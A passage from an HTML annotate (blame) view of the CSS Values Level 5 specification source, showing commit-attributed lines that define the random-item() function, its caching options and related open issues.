href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l670" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2003" id="l2003"> 2003</a> </td> <td class="source"> (See [[#random-caching]] for details.) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l671" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2004" id="l2004"> 2004</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l672" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2005" id="l2005"> 2005</a> </td> <td class="source"> <div class=note> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l673" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2006" id="l2006"> 2006</a> </td> <td class="source"> Like ''random()'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l674" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2007" id="l2007"> 2007</a> </td> <td class="source"> the <<dashed-ident>> can be used to force similar ''random-item()'' functions </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l675" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2008" id="l2008"> 2008</a> </td> <td class="source"> to generate distinct random values, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l676" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2009" id="l2009"> 2009</a> </td> <td class="source"> and ''per-element'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l677" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2010" id="l2010"> 2010</a> </td> <td class="source"> causes it to resolve to a distinct value on each element. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l678" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2011" id="l2011"> 2011</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l679" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2012" id="l2012"> 2012</a> </td> <td class="source"> Aside from these, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l680" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2013" id="l2013"> 2013</a> </td> <td class="source"> the grouping of ''random-item()'' functions as "identical" </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l681" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2014" id="l2014"> 2014</a> </td> <td class="source"> is much simpler: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l682" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2015" id="l2015"> 2015</a> </td> <td class="source"> all that matters is the number of arguments. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l683" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2016" id="l2016"> 2016</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l1412" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l2017" id="l2017"> 2017</a> </td> <td class="source"> That is, ''random-item(--x, red, blue, green)'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l1413" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l2018" id="l2018"> 2018</a> </td> <td class="source"> and ''random-item(--x, 1, 2, 3)'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l686" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2019" id="l2019"> 2019</a> </td> <td class="source"> will always resolve to the same argument index: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l687" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2020" id="l2020"> 2020</a> </td> <td class="source"> either ''red'' and ''1'', or ''blue'' and ''2'', or ''green'' and ''3''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l688" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2021" id="l2021"> 2021</a> </td> <td class="source"> This allows coordination between groups of properties </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l689" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2022" id="l2022"> 2022</a> </td> <td class="source"> that all want to use a random set of values. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l690" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2023" id="l2023"> 2023</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l1419" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l2024" id="l2024"> 2024</a> </td> <td class="source"> On the other hand, ''random-item(--x, red, blue, green)'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l1420" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l2025" id="l2025"> 2025</a> </td> <td class="source"> and ''random-item(--x, 1, 2, 3, 4)'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l693" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2026" id="l2026"> 2026</a> </td> <td class="source"> will have no connection to each other; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l694" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2027" id="l2027"> 2027</a> </td> <td class="source"> any of the 12 possible combinations can occur. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l695" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2028" id="l2028"> 2028</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l696" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2029" id="l2029"> 2029</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l697" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2030" id="l2030"> 2030</a> </td> <td class="source"> Note: The <<random-caching-options>> argument is required in ''random-item()'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l698" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2031" id="l2031"> 2031</a> </td> <td class="source"> but optional in ''random()'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l699" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2032" id="l2032"> 2032</a> </td> <td class="source"> both for parsing reasons </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l1428" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l2033" id="l2033"> 2033</a> </td> <td class="source"> (it's impossible to tell whether ''random-item(--foo, --bar, --baz)'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/65c7c2c54289/css-values-5/Overview.bs#l1183" title="65c7c2c54289: [css-values-5] Minor syntax fixes (#9589)">gui@30524</a> </td> <td class="lineno"> <a href="#l2034" id="l2034"> 2034</a> </td> <td class="source"> has three <<declaration-value>> arguments </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l702" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2035" id="l2035"> 2035</a> </td> <td class="source"> or two and a <<random-caching-options>> argument), </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l703" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2036" id="l2036"> 2036</a> </td> <td class="source"> and because accidentally associating the random generation of ''random-item()'' functions together </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l704" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2037" id="l2037"> 2037</a> </td> <td class="source"> is much easier to do accidentally, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l705" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2038" id="l2038"> 2038</a> </td> <td class="source"> since only the number of arguments is used to distinguish instances. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l706" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2039" id="l2039"> 2039</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l1427" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l2040" id="l2040"> 2040</a> </td> <td class="source"> The remaining arguments are arbitrary sequences of CSS values. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l709" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2041" id="l2041"> 2041</a> </td> <td class="source"> The ''random-item()'' function resolves to one of these sequences, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l710" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2042" id="l2042"> 2042</a> </td> <td class="source"> chosen uniformly at random. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l711" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2043" id="l2043"> 2043</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l717" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2044" id="l2044"> 2044</a> </td> <td class="source"> The ''random-item()'' function is an [=arbitrary substitution function=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l718" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2045" id="l2045"> 2045</a> </td> <td class="source"> like ''var()''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l719" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2046" id="l2046"> 2046</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l720" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2047" id="l2047"> 2047</a> </td> <td class="source"> <div class=note> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l721" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2048" id="l2048"> 2048</a> </td> <td class="source"> That is, if you use ''random-item()'': </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l722" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2049" id="l2049"> 2049</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l723" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2050" id="l2050"> 2050</a> </td> <td class="source"> * So long as ''random-item()'' itself (and any other [=arbitrary substitution functions=]) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l724" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2051" id="l2051"> 2051</a> </td> <td class="source"> is syntactically valid, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l725" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2052" id="l2052"> 2052</a> </td> <td class="source"> the entire property is assumed to be valid at parse time. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l726" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2053" id="l2053"> 2053</a> </td> <td class="source"> * ''random-item()'' is substituted with whatever value it resolves to </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l727" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2054" id="l2054"> 2054</a> </td> <td class="source"> at [=computed value=] time </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l728" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2055" id="l2055"> 2055</a> </td> <td class="source"> when you'd [=substitute a var()=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l729" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2056" id="l2056"> 2056</a> </td> <td class="source"> so children all inherit the same resolved value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l730" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2057" id="l2057"> 2057</a> </td> <td class="source"> * If the substituted value ends up making the property invalid, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l731" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2058" id="l2058"> 2058</a> </td> <td class="source"> the property's value becomes the [=guaranteed-invalid value=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l732" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2059" id="l2059"> 2059</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l733" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2060" id="l2060"> 2060</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l734" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2061" id="l2061"> 2061</a> </td> <td class="source"> Issue: Define [=arbitrary substitution function=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l735" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2062" id="l2062"> 2062</a> </td> <td class="source"> probably over in Variables, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l736" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2063" id="l2063"> 2063</a> </td> <td class="source"> since we have several upcoming functions leaning on this functionality. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l737" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2064" id="l2064"> 2064</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l738" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2065" id="l2065"> 2065</a> </td> <td class="source"> Issue: Since ''random-item()'' is var()-like, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l739" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2066" id="l2066"> 2066</a> </td> <td class="source"> we probably want to restrict it to only be usable in properties. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l740" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2067" id="l2067"> 2067</a> </td> <td class="source"> (This is likely something we want to apply to all such functions.) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l741" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2068" id="l2068"> 2068</a> </td> <td class="source"> Tho ''random()'' is a fundamentally different kind of value, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l742" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2069" id="l2069"> 2069</a> </td> <td class="source"> we probably want to restrict it as well, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l743" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2070" id="l2070"> 2070</a> </td> <td class="source"> for thematic consistency. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l744" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2071" id="l2071"> 2071</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l745" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2072" id="l2072"> 2072</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l746" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2073" id="l2073"> 2073</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l747" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2074" id="l2074"> 2074</a> </td> <td class="source"><h3 id=random-caching> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c899761450f/css-values-5/Overview.bs#l1470" title="5c899761450f: [css-values-5][css-variables-1][editorial] bikeshed fixes">jackalmage@31414</a> </td> <td class="lineno"> <a href="#l2075" id="l2075"> 2075</a> </td> <td class="source">Generating/Caching Random Values: the <<random-caching-options>> value</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l749" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2076" id="l2076"> 2076</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l750" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2077" id="l2077"> 2077</a> </td> <td class="source"> In a programming language like JavaScript, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l751" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2078" id="l2078"> 2078</a> </td> <td class="source"> there's a clear temporal ordering to code, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l752" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2079" id="l2079"> 2079</a> </td> <td class="source"> so you can tell exactly <em>when</em> something like a call to {{Math/random()|Math.random()}} is evaluated. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l753" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2080" id="l2080"> 2080</a> </td> <td class="source"> You can also store the results in a variable, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l754" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2081" id="l2081"> 2081</a> </td> <td class="source"> making it clear when you're reusing a single random value in multiple places, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l755" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2082" id="l2082"> 2082</a> </td> <td class="source"> versus using a distinct random value in each location. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l756" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2083" id="l2083"> 2083</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l757" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2084" id="l2084"> 2084</a> </td> <td class="source"> CSS, on the other hand, is a declarative language </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l758" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2085" id="l2085"> 2085</a> </td> <td class="source"> (code is not "executed" in any particular order, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l759" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2086" id="l2086"> 2086</a> </td> <td class="source"> nor is there any control over how many times something is "executed"); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l760" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2087" id="l2087"> 2087</a> </td> <td class="source"> it makes it very easy to apply identical styles to multiple elements </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l761" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2088" id="l2088"> 2088</a> </td> <td class="source"> but difficult to specify distinct values for each of them </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l762" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2089" id="l2089"> 2089</a> </td> <td class="source"> (making it unclear whether a property using ''random()'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l763" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2090" id="l2090"> 2090</a> </td> <td class="source"> is meant to resolve to the same value on each element it's applied to </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l764" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2091" id="l2091"> 2091</a> </td> <td class="source"> or to distinct values on each); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l765" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2092" id="l2092"> 2092</a> </td> <td class="source"> and it has very limited "variable" functionality </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l766" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2093" id="l2093"> 2093</a> </td> <td class="source"> (making it difficult to intentionally reuse a particular randomly-generated value in several places). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l767" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> 